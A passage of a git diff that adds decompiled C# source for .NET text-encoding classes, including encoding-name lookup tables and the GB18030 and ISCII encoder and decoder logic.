c-cp-caebcdic-cp-chebcdic-cp-dkebcdic-cp-esebcdic-cp-fiebcdic-cp-frebcdic-cp-gbebcdic-cp-grebcdic-cp-heebcdic-cp-isebcdic-cp-itebcdic-cp-nlebcdic-cp-noebcdic-cp-roeceebcdic-cp-seebcdic-cp-trebcdic-cp-usebcdic-cp-wtebcdic-cp-yuebcdic-cyrillicebcdic-de-273+euroebcdic-dk-277+euroebcdic-es-284+euroebcdic-fi-278+euroebcdic-fr-297+euroebcdic-gb-285+euroebcdic-international-500+euroebcdic-is-871+euroebcdic-it-280+euroebcdic-jp-kanaebcdic-latin9--euroebcdic-no-277+euroebcdic-se-278+euroebcdic-us-37+euroecma-114ecma-118elot_928euc-cneuc-jpeuc-krextended_unix_code_packed_format_for_japanesegb18030gb2312gb2312-80gb231280gb_2312-80gbkgermangreekgreek8hebrewhz-gb-2312ibm-thaiibm00858ibm00924ibm01047ibm01140ibm01141ibm01142ibm01143ibm01144ibm01145ibm01146ibm01147ibm01148ibm01149ibm037ibm1026ibm273ibm277ibm278ibm280ibm284ibm285ibm290ibm297ibm420ibm423ibm424ibm437ibm500ibm737ibm775ibm850ibm852ibm855ibm857ibm860ibm861ibm862ibm863ibm864ibm865ibm866ibm869ibm870ibm871ibm880ibm905irviso-2022-jpiso-2022-jpeuciso-2022-kriso-2022-kr-7iso-2022-kr-7bitiso-2022-kr-8iso-2022-kr-8bitiso-8859-11iso-8859-13iso-8859-15iso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-8 visualiso-8859-8-iiso-8859-9iso-ir-101iso-ir-109iso-ir-110iso-ir-126iso-ir-127iso-ir-138iso-ir-144iso-ir-148iso-ir-149iso-ir-58iso8859-2iso_8859-15iso_8859-2iso_8859-2:1987iso_8859-3iso_8859-3:1988iso_8859-4iso_8859-4:1988iso_8859-5iso_8859-5:1988iso_8859-6iso_8859-6:1987iso_8859-7iso_8859-7:1987iso_8859-8iso_8859-8:1988iso_8859-9iso_8859-9:1989johabkoikoi8koi8-rkoi8-rukoi8-ukoi8rkoreanks-c-5601ks-c5601ks_c_5601ks_c_5601-1987ks_c_5601-1989ks_c_5601_1987ksc5601ksc_5601l2l3l4l5l9latin2latin3latin4latin5latin9logicalmacintoshms_kanjinorwegianns_4551-1pc-multilingual-850+eurosen_850200_bshift-jisshift_jissjisswedishtis-620visualwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258windows-874x-ansix-chinese-cnsx-chinese-etenx-cp1250x-cp1251x-cp20001x-cp20003x-cp20004x-cp20005x-cp20261x-cp20269x-cp20936x-cp20949x-cp50227x-ebcdic-koreanextendedx-eucx-euc-cnx-euc-jpx-europax-ia5x-ia5-germanx-ia5-norwegianx-ia5-swedishx-iscii-asx-iscii-bex-iscii-dex-iscii-gux-iscii-kax-iscii-max-iscii-orx-iscii-pax-iscii-tax-iscii-tex-mac-arabicx-mac-cex-mac-chinesesimpx-mac-chinesetradx-mac-croatianx-mac-cyrillicx-mac-greekx-mac-hebrewx-mac-icelandicx-mac-japanesex-mac-koreanx-mac-romanianx-mac-thaix-mac-turkishx-mac-ukrainianx-ms-cp932x-sjisx-x-big5", s_encodingNameIndices[num2], s_encodingNameIndices[num2 + 1] - s_encodingNameIndices[num2]); + if (num3 == 0) + { + return s_codePagesByName[num2]; + } + if (num3 < 0) + { + num = num2; + } + else + { + i = num2; + } + } + for (; i <= num; i++) + { + if (CompareOrdinal(name, "437arabicasmo-708big5big5-hkscsccsid00858ccsid00924ccsid01140ccsid01141ccsid01142ccsid01143ccsid01144ccsid01145ccsid01146ccsid01147ccsid01148ccsid01149chinesecn-big5cn-gbcp00858cp00924cp01140cp01141cp01142cp01143cp01144cp01145cp01146cp01147cp01148cp01149cp037cp1025cp1026cp1252cp1256cp273cp278cp280cp284cp285cp290cp297cp420cp423cp424cp437cp500cp50227cp850cp852cp855cp857cp858cp860cp861cp862cp863cp864cp865cp866cp869cp870cp871cp875cp880cp905csbig5cseuckrcseucpkdfmtjapanesecsgb2312csgb231280csibm037csibm1026csibm273csibm277csibm278csibm280csibm284csibm285csibm290csibm297csibm420csibm423csibm424csibm500csibm870csibm871csibm880csibm905csibmthaicsiso2022jpcsiso2022krcsiso58gb231280csisolatin2csisolatin3csisolatin4csisolatin5csisolatin9csisolatinarabiccsisolatincyrilliccsisolatingreekcsisolatinhebrewcskoi8rcsksc56011987cspc8codepage437csshiftjiscswindows31jcyrillicdin_66003dos-720dos-862dos-874ebcdic-cp-ar1ebcdic-cp-beebcdic-cp-caebcdic-cp-chebcdic-cp-dkebcdic-cp-esebcdic-cp-fiebcdic-cp-frebcdic-cp-gbebcdic-cp-grebcdic-cp-heebcdic-cp-isebcdic-cp-itebcdic-cp-nlebcdic-cp-noebcdic-cp-roeceebcdic-cp-seebcdic-cp-trebcdic-cp-usebcdic-cp-wtebcdic-cp-yuebcdic-cyrillicebcdic-de-273+euroebcdic-dk-277+euroebcdic-es-284+euroebcdic-fi-278+euroebcdic-fr-297+euroebcdic-gb-285+euroebcdic-international-500+euroebcdic-is-871+euroebcdic-it-280+euroebcdic-jp-kanaebcdic-latin9--euroebcdic-no-277+euroebcdic-se-278+euroebcdic-us-37+euroecma-114ecma-118elot_928euc-cneuc-jpeuc-krextended_unix_code_packed_format_for_japanesegb18030gb2312gb2312-80gb231280gb_2312-80gbkgermangreekgreek8hebrewhz-gb-2312ibm-thaiibm00858ibm00924ibm01047ibm01140ibm01141ibm01142ibm01143ibm01144ibm01145ibm01146ibm01147ibm01148ibm01149ibm037ibm1026ibm273ibm277ibm278ibm280ibm284ibm285ibm290ibm297ibm420ibm423ibm424ibm437ibm500ibm737ibm775ibm850ibm852ibm855ibm857ibm860ibm861ibm862ibm863ibm864ibm865ibm866ibm869ibm870ibm871ibm880ibm905irviso-2022-jpiso-2022-jpeuciso-2022-kriso-2022-kr-7iso-2022-kr-7bitiso-2022-kr-8iso-2022-kr-8bitiso-8859-11iso-8859-13iso-8859-15iso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-8 visualiso-8859-8-iiso-8859-9iso-ir-101iso-ir-109iso-ir-110iso-ir-126iso-ir-127iso-ir-138iso-ir-144iso-ir-148iso-ir-149iso-ir-58iso8859-2iso_8859-15iso_8859-2iso_8859-2:1987iso_8859-3iso_8859-3:1988iso_8859-4iso_8859-4:1988iso_8859-5iso_8859-5:1988iso_8859-6iso_8859-6:1987iso_8859-7iso_8859-7:1987iso_8859-8iso_8859-8:1988iso_8859-9iso_8859-9:1989johabkoikoi8koi8-rkoi8-rukoi8-ukoi8rkoreanks-c-5601ks-c5601ks_c_5601ks_c_5601-1987ks_c_5601-1989ks_c_5601_1987ksc5601ksc_5601l2l3l4l5l9latin2latin3latin4latin5latin9logicalmacintoshms_kanjinorwegianns_4551-1pc-multilingual-850+eurosen_850200_bshift-jisshift_jissjisswedishtis-620visualwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258windows-874x-ansix-chinese-cnsx-chinese-etenx-cp1250x-cp1251x-cp20001x-cp20003x-cp20004x-cp20005x-cp20261x-cp20269x-cp20936x-cp20949x-cp50227x-ebcdic-koreanextendedx-eucx-euc-cnx-euc-jpx-europax-ia5x-ia5-germanx-ia5-norwegianx-ia5-swedishx-iscii-asx-iscii-bex-iscii-dex-iscii-gux-iscii-kax-iscii-max-iscii-orx-iscii-pax-iscii-tax-iscii-tex-mac-arabicx-mac-cex-mac-chinesesimpx-mac-chinesetradx-mac-croatianx-mac-cyrillicx-mac-greekx-mac-hebrewx-mac-icelandicx-mac-japanesex-mac-koreanx-mac-romanianx-mac-thaix-mac-turkishx-mac-ukrainianx-ms-cp932x-sjisx-x-big5", s_encodingNameIndices[i], s_encodingNameIndices[i + 1] - s_encodingNameIndices[i]) == 0) + { + return s_codePagesByName[i]; + } + } + return 0; + } + + private static int CompareOrdinal(string s1, string s2, int index, int length) + { + int num = s1.Length; + if (num > length) + { + num = length; + } + int i; + for (i = 0; i < num && s1[i] == s2[index + i]; i++) + { + } + if (i < num) + { + return s1[i] - s2[index + i]; + } + return s1.Length - length; + } + + internal static string GetWebNameFromCodePage(int codePage) + { + return GetNameFromCodePage(codePage, "ibm037ibm437ibm500asmo-708dos-720ibm737ibm775ibm850ibm852ibm855ibm857ibm00858ibm860ibm861dos-862ibm863ibm864ibm865cp866ibm869ibm870windows-874cp875shift_jisgb2312ks_c_5601-1987big5ibm1026ibm01047ibm01140ibm01141ibm01142ibm01143ibm01144ibm01145ibm01146ibm01147ibm01148ibm01149windows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258johabmacintoshx-mac-japanesex-mac-chinesetradx-mac-koreanx-mac-arabicx-mac-hebrewx-mac-greekx-mac-cyrillicx-mac-chinesesimpx-mac-romanianx-mac-ukrainianx-mac-thaix-mac-cex-mac-icelandicx-mac-turkishx-mac-croatianx-chinese-cnsx-cp20001x-chinese-etenx-cp20003x-cp20004x-cp20005x-ia5x-ia5-germanx-ia5-swedishx-ia5-norwegianx-cp20261x-cp20269ibm273ibm277ibm278ibm280ibm284ibm285ibm290ibm297ibm420ibm423ibm424x-ebcdic-koreanextendedibm-thaikoi8-ribm871ibm880ibm905ibm00924euc-jpx-cp20936x-cp20949cp1025koi8-uiso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-9iso-8859-13iso-8859-15x-europaiso-8859-8-iiso-2022-jpcsiso2022jpiso-2022-jpiso-2022-krx-cp50227euc-jpeuc-cneuc-krhz-gb-2312gb18030x-iscii-dex-iscii-bex-iscii-tax-iscii-tex-iscii-asx-iscii-orx-iscii-kax-iscii-max-iscii-gux-iscii-pa", s_webNameIndices, s_codePageToWebNameCache); + } + + internal static string GetEnglishNameFromCodePage(int codePage) + { + return GetNameFromCodePage(codePage, "IBM EBCDIC (US-Canada)OEM United StatesIBM EBCDIC (International)Arabic (ASMO 708)Arabic (DOS)Greek (DOS)Baltic (DOS)Western European (DOS)Central European (DOS)OEM CyrillicTurkish (DOS)OEM Multilingual Latin IPortuguese (DOS)Icelandic (DOS)Hebrew (DOS)French Canadian (DOS)Arabic (864)Nordic (DOS)Cyrillic (DOS)Greek, Modern (DOS)IBM EBCDIC (Multilingual Latin-2)Thai (Windows)IBM EBCDIC (Greek Modern)Japanese (Shift-JIS)Chinese Simplified (GB2312)KoreanChinese Traditional (Big5)IBM EBCDIC (Turkish Latin-5)IBM Latin-1IBM EBCDIC (US-Canada-Euro)IBM EBCDIC (Germany-Euro)IBM EBCDIC (Denmark-Norway-Euro)IBM EBCDIC (Finland-Sweden-Euro)IBM EBCDIC (Italy-Euro)IBM EBCDIC (Spain-Euro)IBM EBCDIC (UK-Euro)IBM EBCDIC (France-Euro)IBM EBCDIC (International-Euro)IBM EBCDIC (Icelandic-Euro)Central European (Windows)Cyrillic (Windows)Western European (Windows)Greek (Windows)Turkish (Windows)Hebrew (Windows)Arabic (Windows)Baltic (Windows)Vietnamese (Windows)Korean (Johab)Western European (Mac)Japanese (Mac)Chinese Traditional (Mac)Korean (Mac)Arabic (Mac)Hebrew (Mac)Greek (Mac)Cyrillic (Mac)Chinese Simplified (Mac)Romanian (Mac)Ukrainian (Mac)Thai (Mac)Central European (Mac)Icelandic (Mac)Turkish (Mac)Croatian (Mac)Chinese Traditional (CNS)TCA TaiwanChinese Traditional (Eten)IBM5550 TaiwanTeleText TaiwanWang TaiwanWestern European (IA5)German (IA5)Swedish (IA5)Norwegian (IA5)T.61ISO-6937IBM EBCDIC (Germany)IBM EBCDIC (Denmark-Norway)IBM EBCDIC (Finland-Sweden)IBM EBCDIC (Italy)IBM EBCDIC (Spain)IBM EBCDIC (UK)IBM EBCDIC (Japanese katakana)IBM EBCDIC (France)IBM EBCDIC (Arabic)IBM EBCDIC (Greek)IBM EBCDIC (Hebrew)IBM EBCDIC (Korean Extended)IBM EBCDIC (Thai)Cyrillic (KOI8-R)IBM EBCDIC (Icelandic)IBM EBCDIC (Cyrillic Russian)IBM EBCDIC (Turkish)IBM Latin-1Japanese (JIS 0208-1990 and 0212-1990)Chinese Simplified (GB2312-80)Korean WansungIBM EBCDIC (Cyrillic Serbian-Bulgarian)Cyrillic (KOI8-U)Central European (ISO)Latin 3 (ISO)Baltic (ISO)Cyrillic (ISO)Arabic (ISO)Greek (ISO)Hebrew (ISO-Visual)Turkish (ISO)Estonian (ISO)Latin 9 (ISO)EuropaHebrew (ISO-Logical)Japanese (JIS)Japanese (JIS-Allow 1 byte Kana)Japanese (JIS-Allow 1 byte Kana - SO/SI)Korean (ISO)Chinese Simplified (ISO-2022)Japanese (EUC)Chinese Simplified (EUC)Korean (EUC)Chinese Simplified (HZ)Chinese Simplified (GB18030)ISCII DevanagariISCII BengaliISCII TamilISCII TeluguISCII AssameseISCII OriyaISCII KannadaISCII MalayalamISCII GujaratiISCII Punjabi", s_englishNameIndices, s_codePageToEnglishNameCache); + } + + private static string GetNameFromCodePage(int codePage, string names, int[] indices, Dictionary cache) + { + if ((uint)codePage > 65535u) + { + return null; + } + int num = Array.IndexOf(s_mappedCodePages, (ushort)codePage); + if (num < 0) + { + return null; + } + s_cacheLock.EnterUpgradeableReadLock(); + try + { + if (cache.TryGetValue(codePage, out var value)) + { + return value; + } + value = names.Substring(indices[num], indices[num + 1] - indices[num]); + s_cacheLock.EnterWriteLock(); + try + { + if (cache.TryGetValue(codePage, out var value2)) + { + return value2; + } + cache.Add(codePage, value); + return value; + } + finally + { + s_cacheLock.ExitWriteLock(); + } + } + finally + { + s_cacheLock.ExitUpgradeableReadLock(); + } + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/GB18030Encoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/GB18030Encoding.cs new file mode 100644 index 0000000..67518a5 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/GB18030Encoding.cs @@ -0,0 +1,579 @@ +namespace System.Text; + +internal sealed class GB18030Encoding : DBCSCodePageEncoding +{ + internal sealed class GB18030Decoder : System.Text.DecoderNLS + { + internal short bLeftOver1 = -1; + + internal short bLeftOver2 = -1; + + internal short bLeftOver3 = -1; + + internal short bLeftOver4 = -1; + + internal override bool HasState => bLeftOver1 >= 0; + + internal GB18030Decoder(EncodingNLS encoding) + : base(encoding) + { + } + + public override void Reset() + { + bLeftOver1 = -1; + bLeftOver2 = -1; + bLeftOver3 = -1; + bLeftOver4 = -1; + m_fallbackBuffer?.Reset(); + } + } + + private const int GBLast4ByteCode = 39419; + + internal unsafe char* map4BytesToUnicode = null; + + internal unsafe byte* mapUnicodeTo4BytesFlags = null; + + private const int GB18030 = 54936; + + private const int GBSurrogateOffset = 189000; + + private const int GBLastSurrogateOffset = 1237575; + + private readonly ushort[] _tableUnicodeToGBDiffs = new ushort[439] + { + 32896, 36, 32769, 2, 32770, 7, 32770, 5, 32769, 31, + 32769, 8, 32770, 6, 32771, 1, 32770, 4, 32770, 3, + 32769, 1, 32770, 1, 32769, 4, 32769, 17, 32769, 7, + 32769, 15, 32769, 24, 32769, 3, 32769, 4, 32769, 29, + 32769, 98, 32769, 1, 32769, 1, 32769, 1, 32769, 1, + 32769, 1, 32769, 1, 32769, 1, 32769, 28, 43199, 87, + 32769, 15, 32769, 101, 32769, 1, 32771, 13, 32769, 183, + 32785, 1, 32775, 7, 32785, 1, 32775, 55, 32769, 14, + 32832, 1, 32769, 7102, 32769, 2, 32772, 1, 32770, 2, + 32770, 7, 32770, 9, 32769, 1, 32770, 1, 32769, 5, + 32769, 112, 41699, 86, 32769, 1, 32769, 3, 32769, 12, + 32769, 10, 32769, 62, 32780, 4, 32778, 22, 32772, 2, + 32772, 110, 32769, 6, 32769, 1, 32769, 3, 32769, 4, + 32769, 2, 32772, 2, 32769, 1, 32769, 1, 32773, 2, + 32769, 5, 32772, 5, 32769, 10, 32769, 3, 32769, 5, + 32769, 13, 32770, 2, 32772, 6, 32770, 37, 32769, 3, + 32769, 11, 32769, 25, 32769, 82, 32769, 333, 32778, 10, + 32808, 100, 32844, 4, 32804, 13, 32783, 3, 32771, 10, + 32770, 16, 32770, 8, 32770, 8, 32770, 3, 32769, 2, + 32770, 18, 32772, 31, 32770, 2, 32769, 54, 32769, 1, + 32769, 2110, 65104, 2, 65108, 3, 65111, 2, 65112, 65117, + 10, 65118, 15, 65131, 2, 65134, 3, 65137, 4, 65139, + 2, 65140, 65141, 3, 65145, 14, 65156, 293, 43402, 43403, + 43404, 43405, 43406, 43407, 43408, 43409, 43410, 43411, 43412, 43413, + 4, 32772, 1, 32787, 5, 32770, 2, 32777, 20, 43401, + 2, 32851, 7, 32772, 2, 32854, 5, 32771, 6, 32805, + 246, 32778, 7, 32769, 113, 32769, 234, 32770, 12, 32771, + 2, 32769, 34, 32769, 9, 32769, 2, 32770, 2, 32769, + 113, 65110, 43, 65109, 298, 65114, 111, 65116, 11, 65115, + 765, 65120, 85, 65119, 96, 65122, 65125, 14, 65123, 147, + 65124, 218, 65128, 287, 65129, 113, 65130, 885, 65135, 264, + 65136, 471, 65138, 116, 65144, 4, 65143, 43, 65146, 248, + 65147, 373, 65149, 20, 65148, 193, 65152, 5, 65153, 82, + 65154, 16, 65155, 441, 65157, 50, 65158, 2, 65159, 4, + 65160, 65161, 1, 65162, 65163, 20, 65165, 3, 65164, 22, + 65167, 65166, 703, 65174, 39, 65171, 65172, 65173, 65175, 65170, + 111, 65176, 65177, 65178, 65179, 65180, 65181, 65182, 148, 65183, + 81, 53670, 14426, 36716, 1, 32859, 1, 32798, 13, 32801, + 1, 32771, 5, 32769, 7, 32769, 4, 32770, 4, 32770, + 8, 32769, 7, 32769, 16, 32770, 14, 32769, 4295, 32769, + 76, 32769, 27, 32769, 81, 32769, 9, 32769, 26, 32772, + 1, 32769, 1, 32770, 3, 32769, 6, 32771, 1, 32770, + 2, 32771, 1030, 32770, 1, 32786, 4, 32778, 1, 32772, + 1, 32782, 1, 32772, 149, 32862, 129, 32774, 26 + }; + + internal unsafe GB18030Encoding() + : base(54936, 936, System.Text.EncoderFallback.ReplacementFallback, System.Text.DecoderFallback.ReplacementFallback) + { + } + + protected unsafe override void LoadManagedCodePage() + { + iExtraBytes = 87032; + base.LoadManagedCodePage(); + byte* ptr = (byte*)(void*)safeNativeMemoryHandle.DangerousGetHandle(); + mapUnicodeTo4BytesFlags = ptr + 262144; + map4BytesToUnicode = (char*)(ptr + 262144) + 4096; + char c = '\0'; + ushort num = 0; + for (int i = 0; i < _tableUnicodeToGBDiffs.Length; i++) + { + ushort num2 = _tableUnicodeToGBDiffs[i]; + if ((num2 & 0x8000) != 0) + { + if (num2 > 36864 && num2 != 53670) + { + mapBytesToUnicode[(int)num2] = c; + mapUnicodeToBytes[(int)c] = num2; + c = (char)(c + 1); + } + else + { + c = (char)(c + (ushort)(num2 & 0x7FFF)); + } + continue; + } + while (num2 > 0) + { + map4BytesToUnicode[(int)num] = c; + mapUnicodeToBytes[(int)c] = num; + byte* num3 = mapUnicodeTo4BytesFlags + c / 8; + *num3 |= (byte)(1 << c % 8); + c = (char)(c + 1); + num++; + num2--; + } + } + } + + internal unsafe bool Is4Byte(char charTest) + { + byte b = mapUnicodeTo4BytesFlags[charTest / 8]; + if (b != 0) + { + return (b & (1 << charTest % 8)) != 0; + } + return false; + } + + public unsafe override int GetByteCount(char* chars, int count, System.Text.EncoderNLS encoder) + { + return GetBytes(chars, count, null, 0, encoder); + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS encoder) + { + char c = '\0'; + if (encoder != null) + { + c = encoder.charLeftOver; + } + EncodingByteBuffer encodingByteBuffer = new EncodingByteBuffer(this, encoder, bytes, byteCount, chars, charCount); + while (true) + { + if (encodingByteBuffer.MoreData) + { + char nextChar = encodingByteBuffer.GetNextChar(); + if (c != 0) + { + if (!char.IsLowSurrogate(nextChar)) + { + encodingByteBuffer.MovePrevious(bThrow: false); + if (encodingByteBuffer.Fallback(c)) + { + c = '\0'; + continue; + } + c = '\0'; + } + else + { + int num = (c - 55296 << 10) + (nextChar - 56320); + byte b = (byte)(num % 10 + 48); + num /= 10; + byte b2 = (byte)(num % 126 + 129); + num /= 126; + byte b3 = (byte)(num % 10 + 48); + num /= 10; + c = '\0'; + if (encodingByteBuffer.AddByte((byte)(num + 144), b3, b2, b)) + { + c = '\0'; + continue; + } + encodingByteBuffer.MovePrevious(bThrow: false); + } + } + else if (nextChar <= '\u007f') + { + if (encodingByteBuffer.AddByte((byte)nextChar)) + { + continue; + } + } + else + { + if (char.IsHighSurrogate(nextChar)) + { + c = nextChar; + continue; + } + if (char.IsLowSurrogate(nextChar)) + { + if (encodingByteBuffer.Fallback(nextChar)) + { + continue; + } + } + else + { + ushort num2 = mapUnicodeToBytes[(int)nextChar]; + if (Is4Byte(nextChar)) + { + byte b4 = (byte)(num2 % 10 + 48); + num2 /= 10; + byte b5 = (byte)(num2 % 126 + 129); + num2 /= 126; + byte b6 = (byte)(num2 % 10 + 48); + num2 /= 10; + if (encodingByteBuffer.AddByte((byte)(num2 + 129), b6, b5, b4)) + { + continue; + } + } + else if (encodingByteBuffer.AddByte((byte)(num2 >> 8), (byte)(num2 & 0xFF))) + { + continue; + } + } + } + } + if ((encoder != null && !encoder.MustFlush) || c <= '\0') + { + break; + } + encodingByteBuffer.Fallback(c); + c = '\0'; + } + if (encoder != null) + { + if (bytes != null) + { + encoder.charLeftOver = c; + } + encoder.m_charsUsed = encodingByteBuffer.CharsUsed; + } + return encodingByteBuffer.Count; + } + + internal static bool IsGBLeadByte(short ch) + { + if (ch >= 129) + { + return ch <= 254; + } + return false; + } + + internal static bool IsGBTwoByteTrailing(short ch) + { + if (ch < 64 || ch > 126) + { + if (ch >= 128) + { + return ch <= 254; + } + return false; + } + return true; + } + + internal static bool IsGBFourByteTrailing(short ch) + { + if (ch >= 48) + { + return ch <= 57; + } + return false; + } + + internal static int GetFourBytesOffset(short offset1, short offset2, short offset3, short offset4) + { + return (offset1 - 129) * 10 * 126 * 10 + (offset2 - 48) * 126 * 10 + (offset3 - 129) * 10 + offset4 - 48; + } + + public unsafe override int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS baseDecoder) + { + return GetChars(bytes, count, null, 0, baseDecoder); + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS baseDecoder) + { + GB18030Decoder gB18030Decoder = (GB18030Decoder)baseDecoder; + EncodingCharBuffer encodingCharBuffer = new EncodingCharBuffer(this, gB18030Decoder, chars, charCount, bytes, byteCount); + short num = -1; + short num2 = -1; + short num3 = -1; + short num4 = -1; + if (gB18030Decoder != null && gB18030Decoder.bLeftOver1 != -1) + { + num = gB18030Decoder.bLeftOver1; + num2 = gB18030Decoder.bLeftOver2; + num3 = gB18030Decoder.bLeftOver3; + num4 = gB18030Decoder.bLeftOver4; + while (num != -1) + { + if (!IsGBLeadByte(num)) + { + if (num <= 127) + { + if (!encodingCharBuffer.AddChar((char)num)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback((byte)num)) + { + break; + } + num = num2; + num2 = num3; + num3 = num4; + num4 = -1; + continue; + } + while (num2 == -1 || (IsGBFourByteTrailing(num2) && num4 == -1)) + { + if (!encodingCharBuffer.MoreData) + { + if (gB18030Decoder.MustFlush) + { + break; + } + if (chars != null) + { + gB18030Decoder.bLeftOver1 = num; + gB18030Decoder.bLeftOver2 = num2; + gB18030Decoder.bLeftOver3 = num3; + gB18030Decoder.bLeftOver4 = num4; + } + gB18030Decoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + return encodingCharBuffer.Count; + } + if (num2 == -1) + { + num2 = encodingCharBuffer.GetNextByte(); + } + else if (num3 == -1) + { + num3 = encodingCharBuffer.GetNextByte(); + } + else + { + num4 = encodingCharBuffer.GetNextByte(); + } + } + if (IsGBTwoByteTrailing(num2)) + { + int num5 = num << 8; + num5 |= (byte)num2; + if (!encodingCharBuffer.AddChar(mapBytesToUnicode[num5], 2)) + { + break; + } + num = -1; + num2 = -1; + } + else if (IsGBFourByteTrailing(num2) && IsGBLeadByte(num3) && IsGBFourByteTrailing(num4)) + { + int fourBytesOffset = GetFourBytesOffset(num, num2, num3, num4); + if (fourBytesOffset <= 39419) + { + if (!encodingCharBuffer.AddChar(map4BytesToUnicode[fourBytesOffset], 4)) + { + break; + } + } + else if (fourBytesOffset >= 189000 && fourBytesOffset <= 1237575) + { + fourBytesOffset -= 189000; + if (!encodingCharBuffer.AddChar((char)(55296 + fourBytesOffset / 1024), (char)(56320 + fourBytesOffset % 1024), 4)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback((byte)num, (byte)num2, (byte)num3, (byte)num4)) + { + break; + } + num = -1; + num2 = -1; + num3 = -1; + num4 = -1; + } + else + { + if (!encodingCharBuffer.Fallback((byte)num)) + { + break; + } + num = num2; + num2 = num3; + num3 = num4; + num4 = -1; + } + } + } + while (encodingCharBuffer.MoreData) + { + byte nextByte = encodingCharBuffer.GetNextByte(); + if (nextByte <= 127) + { + if (!encodingCharBuffer.AddChar((char)nextByte)) + { + break; + } + } + else if (IsGBLeadByte(nextByte)) + { + if (encodingCharBuffer.MoreData) + { + byte nextByte2 = encodingCharBuffer.GetNextByte(); + if (IsGBTwoByteTrailing(nextByte2)) + { + int num6 = nextByte << 8; + num6 |= nextByte2; + if (!encodingCharBuffer.AddChar(mapBytesToUnicode[num6], 2)) + { + break; + } + } + else if (IsGBFourByteTrailing(nextByte2)) + { + if (encodingCharBuffer.EvenMoreData(2)) + { + byte nextByte3 = encodingCharBuffer.GetNextByte(); + byte nextByte4 = encodingCharBuffer.GetNextByte(); + if (IsGBLeadByte(nextByte3) && IsGBFourByteTrailing(nextByte4)) + { + int fourBytesOffset2 = GetFourBytesOffset(nextByte, nextByte2, nextByte3, nextByte4); + if (fourBytesOffset2 <= 39419) + { + if (!encodingCharBuffer.AddChar(map4BytesToUnicode[fourBytesOffset2], 4)) + { + break; + } + } + else if (fourBytesOffset2 >= 189000 && fourBytesOffset2 <= 1237575) + { + fourBytesOffset2 -= 189000; + if (!encodingCharBuffer.AddChar((char)(55296 + fourBytesOffset2 / 1024), (char)(56320 + fourBytesOffset2 % 1024), 4)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback(nextByte, nextByte2, nextByte3, nextByte4)) + { + break; + } + } + else + { + encodingCharBuffer.AdjustBytes(-3); + if (!encodingCharBuffer.Fallback(nextByte)) + { + break; + } + } + continue; + } + if (gB18030Decoder != null && !gB18030Decoder.MustFlush) + { + if (chars != null) + { + num = nextByte; + num2 = nextByte2; + num3 = (short)((!encodingCharBuffer.MoreData) ? (-1) : encodingCharBuffer.GetNextByte()); + num4 = -1; + } + break; + } + if (!encodingCharBuffer.Fallback(nextByte, nextByte2)) + { + break; + } + } + else + { + encodingCharBuffer.AdjustBytes(-1); + if (!encodingCharBuffer.Fallback(nextByte)) + { + break; + } + } + continue; + } + if (gB18030Decoder != null && !gB18030Decoder.MustFlush) + { + if (chars != null) + { + num = nextByte; + num2 = -1; + num3 = -1; + num4 = -1; + } + break; + } + if (!encodingCharBuffer.Fallback(nextByte)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback(nextByte)) + { + break; + } + } + if (gB18030Decoder != null) + { + if (chars != null) + { + gB18030Decoder.bLeftOver1 = num; + gB18030Decoder.bLeftOver2 = num2; + gB18030Decoder.bLeftOver3 = num3; + gB18030Decoder.bLeftOver4 = num4; + } + gB18030Decoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + } + return encodingCharBuffer.Count; + } + + public override int GetMaxByteCount(int charCount) + { + if (charCount < 0) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)charCount + 1L; + if (base.EncoderFallback.MaxCharCount > 1) + { + num *= base.EncoderFallback.MaxCharCount; + } + num *= 4; + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_GetByteCountOverflow); + } + return (int)num; + } + + public override int GetMaxCharCount(int byteCount) + { + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)byteCount + 3L; + if (base.DecoderFallback.MaxCharCount > 1) + { + num *= base.DecoderFallback.MaxCharCount; + } + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_GetCharCountOverflow); + } + return (int)num; + } + + public override Decoder GetDecoder() + { + return new GB18030Decoder(this); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISCIIEncoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISCIIEncoding.cs new file mode 100644 index 0000000..85bc4e5 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISCIIEncoding.cs @@ -0,0 +1,898 @@ +using System.Runtime.Serialization; + +namespace System.Text; + +internal sealed class ISCIIEncoding : EncodingNLS, ISerializable +{ + internal sealed class ISCIIEncoder : System.Text.EncoderNLS + { + internal int defaultCodePage; + + internal int currentCodePage; + + internal bool bLastVirama; + + internal override bool HasState + { + get + { + if (charLeftOver == '\0') + { + return currentCodePage != defaultCodePage; + } + return true; + } + } + + public ISCIIEncoder(EncodingNLS encoding) + : base(encoding) + { + currentCodePage = (defaultCodePage = encoding.CodePage - 57000); + } + + public override void Reset() + { + bLastVirama = false; + charLeftOver = '\0'; + m_fallbackBuffer?.Reset(); + } + } + + internal sealed class ISCIIDecoder : 